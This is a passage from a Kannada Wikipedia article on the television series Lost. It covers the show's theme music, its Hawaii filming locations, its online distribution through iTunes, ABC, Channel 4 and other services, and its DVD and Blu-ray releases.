ಅನುಗುಣವಾಗಿ [[ಮೂಲ ಹಾಡ]]ನ್ನು ವಿಭಿನ್ನವಾಗಿ ಉಪಯೋಗಿಸಲಾಗಿದೆ. ಮೊದಲ ಸೀಸನ್ನಿನಲ್ಲಿ [[ಕೆಮಿಸ್ಟ್ರಿ]]ಯಿಂದ "ಹಿಯರ್ ಐ ಆ‍ಯ್‌ಮ್"ನ್ನು ಉಪಯೋಗಿಸಲಾಗಿದೆ. ಎರಡನೇ ಸೀಸನ್ನಿನಲ್ಲಿ [[ಯುನಾ ಇಟೋ]] ಆವರ "[[ಲೋಸಿನ್]]"ನ್ನು ಉಪಯೋಗಿಸಲಾಗಿದೆ. ಮತ್ತು ಮೂರನೇ ಸೀಸನ್ನಿನಲ್ಲಿ [[ಕ್ರಿಸ್ಟಲ್ ಕೇ]]ಯವರ "ಲೋನ್ಲೀ ಗರ್ಲ್"ನ್ನು ಉಪಯೋಗಿಸಲಾಗಿದೆ. === ಚಿತ್ರೀಕರಣದ ಸ್ಥಳ === [[ಚಿತ್ರ:LOSTDock.jpg|right|thumb| "ಜತೆಯಾಗಿ ಜೀವಿಸು, ಒಂಟಿಯಾಗಿ ಮರಣಹೊಂದು", ಎಂದು ಕಂಡುಬರುವ ಹವಾಯಿಯ ಒಂದು ಸ್ಥಳೀಯ ಬಂದರು.]] ''ಲಾಸ್ಟ್'' ಸರಣಿಯನ್ನು [[ಪ್ಯಾನಾವಿಶನ್]] [[35mm]] ಕ್ಯಾಮೆರಾದಲ್ಲಿ, ಹೆಚ್ಚಿನ ಎಲ್ಲವನ್ನೂ [[ಓವಾಹು]]ವಿನ ಹವಾಯಿ ದ್ವೀಪದಲ್ಲಿ ಚಿತ್ರೀಕರಿಸಲಾಗಿದೆ. ನಾರ್ತ್‌ವೆಸ್ಟ್ ಟಿಪ್ ದ್ವೀಪದ ಸಮೀಪ [[Mokulē'ia]]ಸಮುದ್ರ ತೀರದಲ್ಲಿ ನೈಜ ದ್ವೀಪದ ದೃಶ್ಯವನ್ನು ಪ್ರಾಥಮಿಕ ಹಂತದ ಕಂತಿಗಾಗಿ ಚಿತ್ರೀಕರಿಸಲಾಯಿತು. ಜನಪ್ರಿಯ [[ನಾರ್ತ್ ಶೋರ್‌]]ನ ನಿಗದಿತ ಜಾಗದಲ್ಲಿ ನಂತರದ ಸಮುದ್ರ ತೀರದ ದೃಶ್ಯಗಳನ್ನು ಚಿತ್ರೀಕರಿಸಲಾಯಿತು. 1999ರಲ್ಲಿ [[ನೌಕರರ ಸಮೂಹ ಚಿತ್ರೀಕರಣ]]ವನ್ನು ಮಾಡುವ ಮುನ್ನ ಖಾಲಿಯಾಗಿದ್ದ ಜಾಗದಲ್ಲಿ, [[ಝೆರಾಕ್ಸ್]] ಭಾಗದ ವೇರ್‌ಹೌಸ್‌ಗಲನ್ನು ನಿರ್ಮಿಸಿದ್ದ [[ಧ್ವನಿಗ್ರಾಹಕ]]ದ ಮೇಲೆ ಮೊದಲ ಸೀಸನ್ನಿನ ಗುಹೆಯ ದೃಶ್ಯಗಳನ್ನು ಚಿತ್ರೀಕರಿಸಲಾಯಿತು.<ref>{{cite news| last=Veitch| first=Kristin| title=''Lost'' Secrets Found!| url=http://www.eonline.com/Gossip/Kristin/Archive2004/041016.html| publisher=[[E! Online]]| date=2004-10-16| access-date=2021-07-16| archive-date=2004-12-08| archive-url=https://web.archive.org/web/20041208152612/http://www.eonline.com/Gossip/Kristin/Archive2004/041016.html| url-status=bot: unknown}}ರಿಟ್ರೈವ್‌ ಫ್ರಂ [[ಇಂಟರ್ನೆಟ್ ಆರ್ಕೈವ್]] ಆನ್ ಡಿಸೆಂಬರ್ 8,2004.</ref> ಧ್ವನಿಗ್ರಾಹಕ ಮತ್ತು [[ನಿರ್ಮಾಣ]]ದ ಕಛೇರಿಯು ಹವಾಯಿ ಫಿಲಂ ಸ್ಟುಡಿಯೋದಿಂದ ನಿರ್ವಹಿಸಲ್ಪಟ್ಟ ಹವಾಯಿ ಫಿಲಂ ಆಫೀಸಿಗೆ ಅಲ್ಲಿಯವರೆಗೆ ಸ್ಥಳಾಂತರಗೊಂಡಿತ್ತು.<ref>{{cite news|last=Nichols|first=Katherine|title=''Lost'' Home|publisher=''Honolulu Star-Bulletin''|url=http://starbulletin.com/2006/05/21/features/story01.html|date=2006-05-21|access-date=2009-12-17|archive-date=2008-08-28|archive-url=https://web.archive.org/web/20080828221750/http://starbulletin.com/2006/05/21/features/story01.html|url-status=dead}}</ref> ಇಲ್ಲಿ ಎರಡನೇ ಸೀಸನ್ನಿನ "ಸ್ವಾನ್ ಸ್ಟೇಶನ್" ಮತ್ತು ಮೂರನೇ ಸೀಸನ್ನಿನ "ಹೈಡ್ರಾ ಸ್ಟೇಶನ್ನಿ"ನ ಒಳಾಂಗಣ ಚಿತ್ರಿಕೆಯು ನಿರ್ಮಾಣಗೊಂಡಿತ್ತು.<ref>{{cite news|last=Ryan|first=Tim|title=Reel News|url=http://starbulletin.com/2005/08/24/features/ryan.html|publisher=''Honolulu Star-Bulletin''|date=2005-08-24|access-date=2009-12-17|archive-date=2008-08-28|archive-url=https://web.archive.org/web/20080828221739/http://starbulletin.com/2005/08/24/features/ryan.html|url-status=dead}}</ref> [[ಹೊನೊಲೊಲು]]ವಿನ ಒಳ ಮತ್ತು ಹೊರಗಿನ ವಿವಿಧ ಪ್ರದೇಶಗಳನ್ನು ಜಗತ್ತಿನಾದ್ಯಂತ ಪ್ರದೇಶಗಳಾದ [[ಕ್ಯಾಲಿಫೋರ್ನಿಯಾ]], [[ನ್ಯೂಯಾರ್ಕ್]], [[ಇಯೋವಾ]], [[ಮಿಯಾಮಿ]], [[ಸೌತ್ ಕೊರಿಯಾ]], [[ಇರಾಕ್]], [[ನೈಜೀರಿಯಾ]], [[ಸಂಯುಕ್ತ ಸಾಮ್ರಾಜ್ಯ]], [[ಪ್ಯಾರಿಸ್]], [[ಥಾಯ್‌ಲ್ಯಾಂಡ್]], [[ಬರ್ಲಿನ್]] ಮತ್ತು [[ಆಸ್ಟ್ರೇಲಿಯಾ]]ದಂಥ ಪ್ರದೇಶಗಳಿಗೆ ಪರ್ಯಾಯವಾಗಿ ಉಪಯೋಗಿಸಲಾಗಿದೆ. ಉದಾಹರಣೆಗೆ, [[ಸಿಡ್ನಿ ವಿಮಾನನಿಲ್ದಾಣ]]ದ ದೃಶ್ಯವನ್ನು [[ಹವಾಯಿ ಕನ್ವೆನ್ಶನ್ ಸೆಂಟರ್‌]]ನಲ್ಲಿ ಚಿತ್ರೀಕರಿಸಲಾಗಿದೆ. ಅದೇವೇಳೆ, [[ಎರಡನೇ ಜಾಗತಿಕ ಮಹಾಯುದ್ಧ]]ದ ಸಂದರ್ಭದಲ್ಲಿನ ಬಂಕರನ್ನು [[ಇರಾಕ್‌ನವರ ರಿಪಬ್ಲಿಕನ್ ಗಾರ್ಡ್‌ನ]] ಸ್ಥಾಪನೆಯಾಗಿ ಉಪಯೋಗಿಸಲಾಗಿತ್ತು. ಜರ್ಮನ್ ವಾಹನಗಳ ಗುರುತನ್ನು ಮತ್ತು ಮಂಜನ್ನು ತೋರಿಸಲು ಎಲ್ಲೆಡೆ ಮಂಜುಗಡ್ಡೆಗಳ ತುಂಡುಗಳನ್ನು ಹರಡಿಕೊಂಡು, ಹವಾಯಿಯ ನೆರೆ ಪ್ರದೇಶಗಳಲ್ಲಿ ಹಾಗೂ ಜರ್ಮನಿಯಲ್ಲಿ ಚಳಿಗಾಲದ ಸಮಯದಲ್ಲಿ ದೃಶ್ಯಗಳನ್ನು ಚಿತ್ರೀಕರಿಸಲಾಗಿದೆ.<ref>{{cite news|last=Godvin|first=Tara|title=Oahu plays the world|publisher=''Honolulu Star-Bulletin''|url=http://starbulletin.com/2005/05/25/features/story4.html|date=2005-05-25|access-date=2009-12-17|archive-date=2008-06-27|archive-url=https://web.archive.org/web/20080627194904/http://starbulletin.com/2005/05/25/features/story4.html|url-status=dead}}</ref> ಗ್ರೇಸ್ ಅನಾಟಮಿಯಿಂದ ಬಾಡಿಗೆಗೆ ತೆಗೆದುಕೊಂಡ ಆಸ್ಪತ್ರೆಯ ಚಿತ್ರಿಕೆಗಳನ್ನೂ ಸೇರಿ, ಮೂರನೇ ಸೀಸನ್ನಿನ ಮುಕ್ತಾಯವಾದ "ಥ್ರೂ ದಿ ಲುಕಿಂಗ್ ಗ್ಲಾಸ್‌‍" ಅನ್ನು ಲಾಸ್ ಏಂಜೆಲ್ಸ್‌ನಲ್ಲಿ ಚಿತ್ರೀಕರಿಸಲಾಯಿತು. ವೈಡ್‌ಮೋರ್‌ನ ಪಾತ್ರಮಾಡುವ [[ಅಲನ್ ಡೇಲ್‌]]ರವರು ಆ ಸಮಯದಲ್ಲಿ [[ಸ್ಪಾಮಲೋಟ್]] ಸಂಗೀತ ಕಾರ್ಯಕ್ರಮದಲ್ಲಿ ಭಾಗವಹಿಸುತ್ತಿದ್ದರಿಂದ ಹವಾಯಿಗೆ ಪ್ರಯಾಣ ಬೆಳೆಸಲು ಸಾಧ್ಯವಿರಲಿಲ್ಲ. ಇದರಿಂದಾಗಿ ನಾಲ್ಕನೇ ಸೀಸನ್‌ನ ಎರಡು ದೃಶ್ಯಗಳನ್ನು [[ಲಂಡನ್‌]]ನಲ್ಲಿ ಚಿತ್ರೀಕರಿಸಲಾಯಿತು.<ref>{{cite news|url=http://www.digitalspy.co.uk/tv/a128956/alan-dale-talks-lost-greys.html|title=Alan Dale talks ''Lost'', ''Grey{{'}}s''|author=Wilkes, Neil|date=September 4, 2008|work=[[Digital Spy]]|accessdate=May 4, 2009}}</ref> [http://www.lostvirtualtour.com/ ''ಲಾಸ್ಟ್‌'' ನ ವರ್ಚುವಲ್ ಟೂರ್‌] ಭಂಡಾರದಲ್ಲಿ ಚಿತ್ರೀಕರಣ ಸ್ಥಳದ ವಿಸ್ತಾರವಾದ ಪ್ರದೇಶವನ್ನು ಕಂಡುಕೊಳ್ಳಲಾಯಿತು. === ಆನ್‌ಲೈನ್ ವಿತರಣೆ === ಸಾಂಪ್ರದಾಯಿಕ ಪ್ರಸಾರ ಮತ್ತು [[ಉಪಗ್ರಹ ಪ್ರಸಾರ]]ದ ಜೊತೆಗೆ ''ಲಾಸ್ಟ್'' ಸರಣಿಯು ಹೊಸ ಟೆಲಿವಿಷನ್‌‍ ವಿತರಣೆಯಲ್ಲಿ ಮುಂಚೂಣಿಗೆ ಬರಲಾರಂಭಿಸಿತು. [[ಐಟ್ಯೂನ್]] ತಂತ್ರಾಂಶದಲ್ಲಿ ನೋಡಲು ಅಥವಾ [[ಐಪಾಡ್‌]]ಗಾಗಿ [[ಆ‍ಯ್‌ಪಲ್‌ನವರ]] [[ಐಟ್ಯೂನ್ಸ್ ಮಳಿಗೆಯ]] ಮೂಲಕ ವಿತರಿಸಲ್ಪಟ್ಟ ಮೊಟ್ಟ ಮೊದಾಲ್ ಸರಣಿಯಾಯಿತು. ಅಕ್ಟೋಬರ್ 2005ರವರೆಗೆ, ಅಮೆರಿಕದ ವೀಕ್ಷಕರಿಗಾಗಿ ಹೊಸ ಕಂತುಗಳು, ಎಬಿಸಿಯಲ್ಲಿ ಪ್ರಸಾರವಾದ ಮರುದಿನ, ಜಾಹೀರಾತುಗಳಿಂದ ಮುಕ್ತವಾಗಿ ಡೌನ್‌ಲೋಡ್ ಮಾಡಲು ಲಭ್ಯವಾಗುತ್ತಿತ್ತು. ಅಗಸ್ಟ್ 29, 2007ರ ಹೊತ್ತಿಗೆ ಯುಕೆಯಲ್ಲಿ ಡೌನ್‌ಲೋಡ್‌ಗೆ ಲಭ್ಯವಿರುವ ಮೊಟ್ಟಮೊದಲ ಟಿವಿ ಸರಣಿಯು ಲಾಸ್ಟ್ ಸರಣಿಯಾಯಿತು. ಯುಕೆಯಲ್ಲಿ ನಾಲ್ಕನೇ ಸೀಸನ್ ಪ್ರಸಾರವಾಗುವರೆಗೆ, ಲಾಸ್ಟ್‌ನ ಕಂತುಗಳು ಭಾನುವಾರದ ನಂತರ ಸೋಮವಾರದಂದು ಸ್ಕಾಯ್ ಒನ್‌ನಲ್ಲಿ ಪ್ರಸಾರವಾಗುತ್ತಿತ್ತು.<ref>{{cite press release|publisher=Apple|date=2007-08-29|url =http://www.apple.com/uk/pr/2007/08/290808_itunes_tvshows.html|title=Apple Announces Hit Television Programming Now Available on the iTunes Store in the UK}}</ref> [[ಜರ್ಮನ್]] [[ಐಟ್ಯೂನ್ಸ್]] ಮಳಿಗೆಯಲ್ಲೂ ಕೂಡಾ "ಲಾಸ್ಟ್" ಸರಣಿಯು ಮೊಟ್ಟಮೊದಲ ಟಿವಿ ಸರಣಿಯಾಗಿದೆ.<ref>{{cite article|publisher=heise online|date=2008-04-02|url =http://www.heise.de/newsticker/suche/ergebnis?rm=result;words=Apple%20TV%20Serien;q=apple%20tv-serien;url=/newsticker/meldung/105856/|title=iTunes Deutschland verkauft TV-Serien}}</ref> ಏಪ್ರಿಲ್ 2006ರಲ್ಲಿ, ಎರಡು ತಿಂಗಳಿನ ಪ್ರಾಯೋಗಿಕ ವಿತರಣಾ ತಂತ್ರದ ಭಾಗವಾಗಿ ಎಬಿಸಿ ವೆಬ್‌ಸೈಟ್‌ನಲ್ಲಿ, ಜಾಹೀರಾತುಗಳ ಜೊತೆಗೆ, ಸ್ಟ್ರೀಮಿಂಗ್ ಶೈಲಿಯಲ್ಲಿ, ಓನ್‌ಲೈನ್‌ನಲ್ಲಿ ಮುಕ್ತವಾಗಿ ''ಲಾಸ್ಟ್'' ಸರಣಿಯು ಲಭ್ಯವೆಂದು [[ಡಿಸ್ನಿ]] ಪ್ರಕಟಿಸಿತು. ಮೇ 2006 ರಿಂದ ಜೂನ್‌ನ ವರೆಗೆ ನಡೆದ ಈ ಪ್ರಯೋಗವು, ಜಾಹೀರಾತು ಆದಾಯವು ಕಡಿಮೆಯಾಗುವುದರಿಂದಾಗಿ ಹೆದರಿದ ನೆಟ್‌ವರ್ಕ್‌ ಅಂಗಗಳಲ್ಲಿ ಕೋಲಾಹಲಕ್ಕೆ ಕಾರಣವಾಯಿತು. ಅಂತರರಾಷ್ಟ್ರೀಯ ಕಾನೂನು ಒಪ್ಪಂದದಿಂದಾಗಿ ''ಲಾಸ್ಟ್'' ಕಂತನ್ನು ಎಬಿಸಿಯವರ ಅಂತರ್ಜಾಲ ತಾಣದಿಂದ ಕೇವಲ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ವೀಕ್ಷಕರಿಗೆ ಮಾತ್ರ ವೀಕ್ಷಿಸಲು ಲಭ್ಯವಿದೆ.<ref>{{cite news| first=Joshua| last=Chaffin| coauthor= Aline van Duyn|url= http://www.ft.com/cms/s/341d65ba-c894-11da-b642-0000779e2340,dwp_uuid=f5f96136-709f-11da-89d3-0000779e2340,print=yes.html | title=Disney's ABC to offer TV shows free on web | publisher=''Financial Times''| date=2006-04-10}}</ref><ref>{{cite press release|publisher=DisneyABC TV|date=2006-04-10|url=http://www.disneyabctv.com/datvg_press/dispDNR.html?id=041006_06|title=Disney-ABC Television Group takes ABC Primetime Online|access-date=2009-12-17|archive-date=2007-02-04|archive-url=https://web.archive.org/web/20070204002914/http://www.disneyabctv.com/datvg_press/dispDNR.html?id=041006_06|url-status=dead}}</ref> ಮೇ 2008 ರವರೆಗೆ ಎಬಿಸಿ ಅಂತರ್ಜಾಲ ತಾಣದಲ್ಲಿ ಸೀಸನ್ ಒಂದರಿಂದ ನಾಲ್ಕರವರೆಗಿನ ಸಂಪೂರ್ಣ ಕಂತುಗಳು [[ಹೈ-ಡೆಫಿನಿಶನ್]] ಸ್ಟ್ರೀಮಿಂಗ್ ದೃಶ್ಯಗಳಾಗಿ ಲಭ್ಯವಿತ್ತು. ಆದರೆ ಕೇವಲ ಯುಎಸ್‌ನಲ್ಲಿ ಮೈಕ್ರೊಸಾಪ್ಟ್ ಅಥವಾ ಆ‍ಯ್‌ಪಲ್ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಂಗಳನ್ನು ಉಪಯೋಗಿಸುವ ವೀಕ್ಷಕರಿಗೆ ಮಾತ್ರ ಮೀಸಲಾಗಿತ್ತು. ಹೊಸ ಕಂತುಗಳು ಪ್ರಸಾರವಾದ ಮರಿದಿನದ ಅದೇ ಸಮಯದಲ್ಲಿ ಲಭ್ಯವಿರುತ್ತಿತ್ತು. ಕಂತಿನಾದ್ಯಂತ ಸಮಾನವಾಗಿ ಹಂಚಲಾಗಿರುವ 30 ಸೆಕೆಂಡುಗಳ, ಐದರಿಂದ ಆರು ವಾಣಿಜ್ಯ ಜಾಹೀರಾತುಗಳನ್ನು ವೀಕ್ಷಕರು ನೋಡಲೇಬೇಕಾಗುತ್ತದೆ. ಈ ಜಾಹೀರಾತುಗಳು ಪುಟ್ಟ ಗಾತ್ರದಲ್ಲಿ ದೃಶ್ಯದ ಮೇಲ್ತುದಿಯಲ್ಲಿ ಗ್ರಾಫಿಕ್‌ ಆಗಿ ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತವೆ ಮತ್ತು ಸಾಮಾನ್ಯವಾಗಿ ಗರಿಷ್ಠ ಗುಣದರ್ಜೆಯ ಜಾಹೀರಾತುಗಳನ್ನು ಹೊಂದಿರುತ್ತದೆ. 2009ರಲ್ಲಿ, ಎಬಿಸಿ ಅಂತರ್ಜಾಲ ತಾಣದಲ್ಲಿ ವೀಕ್ಷಿಸಿದ ವೀಕ್ಷಕರ ಮೇರೆಗೆ ಅಂತರ್ಜಾಲದಲ್ಲಿ ಅತ್ಯಂತ ಹೆಚ್ಚಿಗೆ ನೋಡಲ್ಪಟ್ಟ ಸರಣಿಯೆಂದು ''ಲಾಸ್ಟ್'' ಸರಣಿಯು ನಾಮಾಂಕಿತಗೊಂಡಿತು. [[ನೀಲ್ಸನ್ ಕಂಪನಿ]]ಯು ವರದಿ ಮಾಡಿದಂತೆ ಎಬಿಸಿಯವರ ಅಂತರ್ಜಾಲ ತಾಣದಲ್ಲಿ ಕನಿಷ್ಠ ಒಂದು ಕಂತನ್ನು 1.425 ಮಿಲಿಯನ್ ಸಮೂಹ ವೀಕ್ಷಕರು ವೀಕ್ಷಿಸಿದ್ದಾರೆ.<ref>{{cite web |url=http://www.tvweek.com/news/2009/02/lost_snl_greys_tops_in_online.php |title=''Lost'', ''SNL'', ''Grey's'' Tops in Online Viewing, Nielsen Says |author=Whitney, Daisy |publisher=''[[TVWeek]]'' |date=February 12, 2009 |accessdate=February 12, 2009 |archive-date=ನವೆಂಬರ್ 13, 2013 |archive-url=https://web.archive.org/web/20131113224541/http://www.tvweek.com/news/2009/02/lost_snl_greys_tops_in_online.php |url-status=dead }}</ref> [[ಸೀಸನ್ ಒಂದು]] ಮತ್ತು [[ಸೀಸನ್ ಎರಡರ]] ಕಂತುಗಳು ಯುಕೆಯ [[ಚಾನೆಲ್ 4]] ಅಂತರ್ಜಾಲ ತಾಣದಲ್ಲಿ ಲಭ್ಯವಿದೆ. ಆದರೆ ಈರೆಗೆ ಅದರ ಅವಧಿ ಮುಕ್ತಾಯವಾಗಿದೆ.<ref>{{Cite web |url=http://www.channel4.com/entertainment/tv/microsites/L/lost/vod/index.html |title=''ಲಾಸ್ಟ್'' ಎಪಿಸೋಡ್ಸ್ ಆನ್‌ಲೈನ್ - ಚಾನೆಲ್ 4.ಕಾಂ |access-date=2009-12-17 |archive-date=2009-10-01 |archive-url=https://web.archive.org/web/20091001065841/http://www.channel4.com/entertainment/tv/microsites/L/lost/vod/index.html |url-status=dead }}</ref> ಎರಡೂ ಭಾಗದ ಪೂರ್ವಪ್ರಸಾರದ ಕಂತುಗಳು ಮುಕ್ತವಾಗಿ ವೀಕ್ಷಣೆಗೆ ಲಭ್ಯವಿದೆ. ಮತ್ತು ಪ್ರತೀ ಇತರೆ ಕಂತುಗಳ ವೆಚ್ಚವು [[£]]0.99 ಆಗಲಿದೆ. ಪರವಾನಗಿಯ ಒಪ್ಪಂದದ ಕಾರಣದಿಂದಾಗಿ, ಈ ಸೇವೆಯು ಕೇವಲ ಯುಕೆಯಲ್ಲಿ ಮಾತ್ರ ಲಭ್ಯವಿದೆ. ತಮ್ಮ ಟಿವಿ ಚಾಯ್ಸ್ ಆನ್ ಡಿಮಾಂಡ್ ಕಾರ್ಯಕ್ರಮದ ಮೂಲಕ [[ವರ್ಜಿನ್ ಮೀಡಿಯಾ]]ವು ''ಲಾಸ್ಟ್‌'' ನ ಮೊದಲ ಮೂರು ಸೀಸನ್‌ಗಳನ್ನು ಬೇಡಿಕೆಯ ಮೂಲಕ ಲಭ್ಯವಾಗಿಸಿದೆ. ಹೈ-ಡೆಫಿನಿಶನ್ ಅಥವಾ [[ಸ್ಟಾಂಡರ್ಡ್ ಡೆಫಿನಿಶನ್‌]]ನಲ್ಲಿ ಯಾವುದೇ ಸಂದರ್ಭದಲ್ಲಿ ನೋಡಬಹುದು. ಸಧ್ಯಕ್ಕೆ ಎರಡನೆಯ ಮತ್ತು ಮೂರನೆಯ ಸೀಸನ್ನುಗಳು ಲಭ್ಯವಿವೆ. ವರ್ಜಿನ್ ಮೀಡಿಯಾ ಸೇವೆಯ ಚಂದಾದಾರರಿಗೆ ಎಲ್ಲ ಕಂತುಗಳೂ ಮುಕ್ತವಾಗಿ ಲಭ್ಯವಿದೆ. ನವೆಂಬರ್‌‍ 25, 2006ರವರೆಗೆ ಸ್ಕೈ ವಿಓಡಿ ಸೇವೆಯ [[ಸ್ಕೈ ಎನಿಟೈಮ್‌]]ನಲ್ಲಿ ಲಾಸ್ಟ್ ಕಂತುಗಳು ಲಭ್ಯವಿದ್ದವು. ಸರಿಯಾದ ಸ್ಕೈ ಚಂದಾದಾರ ಗ್ರಾಹಕರು ಮುಕ್ತವಾಗಿ ಇತ್ತೀಚಿನ ಲಾಸ್ಟ್ ಸರಣಿಯ ಕಂತುಗಳನ್ನು ಡೌನ್‌ಲೋಡ್ ಮಾಡಿಕೊಳ್ಳಬಹುದು. ಉತ್ತಮವಾದ ಚಾನೆಲ್ 4ರ 4ಓಡಿ ಅಪ್ಲಿಕೇಶನ್‌ನ ಸಮಯವು ಮುಗಿದಿದೆ. ಸರಿಯಾದ ಸ್ಕೈ ಚಂದಾದಾರಿಕೆಯಿಲ್ಲದ ಗ್ರಾಹಕರು ಕಂತಿನ ಬಾಡಿಗೆಯನ್ನು ಪ್ರೀಪೇಯ್ಡ್ ಕ್ರೆಡಿಟ್ ಮೂಲಕ ಪಾವತಿ ಮಾಡಬಹುದಾಗಿದೆ. ಇತರ ಓನ್‌ಲೈನ್ ವಿತರಣಾ ತಾಣಗಳು: ಯುಎಸ್‌ಏ ನೆಟ್‌ಫ್ಲಿಕ್ಸ್ <ref>{{cite web|title=ABC Series On Netlix|url=http://news.cnet.com/8301-17938_105-10301737-1.html|access-date=2009-12-17|archive-date=2013-08-25|archive-url=https://web.archive.org/web/20130825003451/http://news.cnet.com/8301-17938_105-10301737-1.html|url-status=dead}}</ref> ಪ್ರಾನ್ಸ್‌ನ [[ಟಿಎಫ್1]] ತಾಣ,<ref>{{cite web|title=TF1 ''Lost'' Episodes Online (French)|url=http://www.tf1vision.com/liste.php?rub=CAT8&fltCode=182&p=53/?trk=1&e=7|access-date=2021-08-10|archive-date=2007-03-20|archive-url=https://web.archive.org/web/20070320113927/http://www.tf1vision.com/liste.php?rub=CAT8|url-status=dead}}</ref> [[ಏಓಎಲ್]] ವೀಡಿಯೋ,<ref>{{cite web| url = http://www.dailytech.com/ABC+to+Offer+Free+Shows+Online+Via+AOL/article9002c.htm| title = ABC to Offer Free Shows Online Via AOL| author = Mick, Jason| date = 2007-09-21| publisher = ''DailyTech''| access-date = 2009-12-17| archive-date = 2011-06-17| archive-url = https://web.archive.org/web/20110617051306/http://www.dailytech.com/ABC+to+Offer+Free+Shows+Online+Via+AOL/article9002c.htm| url-status = dead}}</ref> [[ಮೈಕ್ರೋಸಾಫ್ಟ್‌]]ನ [[ಎಕ್ಸ್‌ಬಾಕ್ಸ್ ಲೈವ್]]<ref>''ಮೈಕ್ರೋಸಾಫ್ಟ್'' , "[http://www.xbox.com/en-US/marketplace/media/9601d8e7-462f-4a36-bdbb-3e0d24dc4d16/ ಎಕ್ಸ್‌ಬಾಕ್ಸ್ ಲೈವ್ ಮಾರ್ಕೆಟ್‌ಪ್ಲೇಸ್ - ಲಾಸ್ಟ್] {{Webarchive|url=https://web.archive.org/web/20080618075600/http://www.xbox.com/en-US/marketplace/media/9601d8e7-462f-4a36-bdbb-3e0d24dc4d16/ |date=2008-06-18 }}."</ref> ಸರ್ವೀಸ್ ಮತ್ತು ಇಸ್ರೇಲ್‌ನಲ್ಲಿ [[ಹಾಟ್]] ವಿ.ಓ.ಡಿ ಸೇವೆ ಲಭ್ಯವಿದೆ. === ಡಿವಿಡಿ ಮತ್ತು ಬ್ಲೂ-ರೇ ಡಿಸ್ಕ್‌ನ ಬಿಡುಗಡೆ === ಎರಡನೇ ಸೀಸನ್ನಿನ ಪೂರ್ವ ಪ್ರದರ್ಶನಕ್ಕೆ ಎರಡು ವಾರ ಮೊದಲು, ಸಪ್ಟೆಂಬರ್ 6, 2009ರಲ್ಲಿ [[ವಿಶಾಲ ಪರದೆ]]ಯ ಸೆವೆನ್-ಡಿಸ್ಕ್ [[ರೀಜನ್]] 1 [[ಡಿವಿಡಿ]] [[ಪೆಟ್ಟಿಗೆಯ ಗುಚ್ಚ]]ದ ರಿತಿಯಲ್ಲಿ ''[[ಲಾಸ್ಟ್: ದಿ ಕಂಪ್ಲೀಟ್ ಫರ್ಸ್ಟ್ ಸೀಸನ್]]'' ಎಂಬ ''ಲಾಸ್ಟ್'' ತಲೆಬರಹದಡಿ ಹೊರಬಂದಿತು. ಇದನ್ನು ಬ್ಯುನಾ ವಿಸ್ಟಾ ಹೋಮ್ ಎಂಟರ್‌ಟೇನ್‌ಮೆಂಟ್‌ನವರು ವಿತರಿಸಿದರು. ಪ್ರಸಾರವಾಗಿರುವ ಎಲ್ಲ ಕಂತುಗಳೂ, ಕಂತಿನ ವೀಕ್ಷಕ ವಿವರಣೆ, ತೆರೆಯ ಹಿಂದಿನ ಫೂಟೇಜ್ ಮತ್ತು ಚಿತ್ರ ತಯಾರಿಕೆಯ ಲಕ್ಷಣಗಳು, ಜೊತೆಗೆ [[ತೆಗೆದುಹಾಕಿದ ದೃಶ್ಯಗಳು]], ತೆಗೆದುಹಾಕಿದ ಹಿನ್ನೋಟದ ದೃಷ್ಯಗಳು ಮತ್ತು [[ಅನಗತ್ಯ]] ರೀಲುಗಳಲ್ಲಿ ಕೆಲವನ್ನು ಈ ಡಿವಿಡಿಯಲ್ಲಿ ಪ್ರತ್ಯೇಕವಾಗಿ ಸೇರಿಸಲಾಗಿದೆ. ಇದೇ ಗುಚ್ಛವು ನವೆಂಬರ್ 30, 2006 ರಂದು [[ರೀಜನ್ ನಾಲ್ಕ]]ರಲ್ಲಿ ಮತ್ತು ಜನವರಿ 16,2006ರಂದು [[ರೀಜನ್ ಎರಡ]]ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾಯಿತು.{{Citation needed|date=October 2009}}{{Citation needed|date=October 2009}} Region2 ಮಾನದಂಡವಾಗುತ್ತಿದ್ದಂತೆಯೇ, ಈ ಸರಣಿಯನ್ನು ಮೊಟ್ಟಮೊದಲ ಬಾರಿಗೆ ಎರಡು ಭಾಗಗಳಾಗಿ ವಿಭಜಿಸಿ ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು. ಅಕ್ಟೋಬರ್ 31, 2005ರಂದು ಮೊದಲ ಹನ್ನೆರಡು ಕಂತುಗಳ ಒಂದನೇ ಸರಣಿಯು ವಿಶಾಲ ಪರದೆಯ ನಾಲ್ಕು ಡಿಸ್ಕಿನ ರೀಜನ್-2 ಡಿವಿಡಿ ಪೆಟ್ಟಿಗೆಯ ಗುಚ್ಛವಾಗಿ ಲಭ್ಯವಾಯಿತು. ಅದೇ ವೇಳೆ ಉಳಿದ ಹದಿಮೂರು ಸರಣಿಯ ಒಂದನೇ ಸರಣಿಯು ಜನವರಿ 16, 2006ರಂದು ಬಿಡುಗಡೆಯಾಯಿತು.{{Citation needed|date=October 2009}} ಡಿವಿಡಿ ಸೌಲಭ್ಯವು ರೀಜನ್ 1 ರಲ್ಲಿ ಇದೇ ರೀತಿ ಎರಡು ಪಟ್ಟಿಗೆಯ ಗುಚ್ಛವಾಗಿ, ಹೋಳಾಗಿ ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು. ಮೊದಲ ಎರಡು ಸೀಸನ್ನುಗಳನ್ನು ಜೂನ್ 16, 2009ರಂದು ಪ್ರತ್ಯೇಕವಾಗಿ [[ಬ್ಲೂ-ರೇ ಡಿಸ್ಕ್‌]]ಲ್ಲಿ ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು.<ref>{{cite web |url=http://www.tvshowsondvd.com/news/Lost-Seasons-1-and-2-on-Blu/11440 |title=Lost DVD news: Seasons 1 and 2 Announced for Blu-ray Disc |author=Lambert, David |publisher=TV Shows on DVD |date=March 6, 2009 |accessdate=March 6, 2009}}</ref> ಎರಡನೇ ಸೀಸನ್ನು ''[[ಲಾಸ್ಟ್:ದಿ ಕಂಪ್ಲೀಟ್ ಸೆಕೆಂಡ್ ಸೀಸನ್-ದಿ ಎಕ್ಸ್ಟೆಂಡೆಡ್ ಎಕ್ಸ್‌ಪೀರಿಯನ್ಸ್]]'' ಎಂಬ ಹೆಸರಿನಲ್ಲಿ ವಿಶಾಲ ಪರದೆಯ ಸೆವೆನ್ ಡಿಸ್ಕ್ ರೀಜನ್ ಒಂದನ್ನು 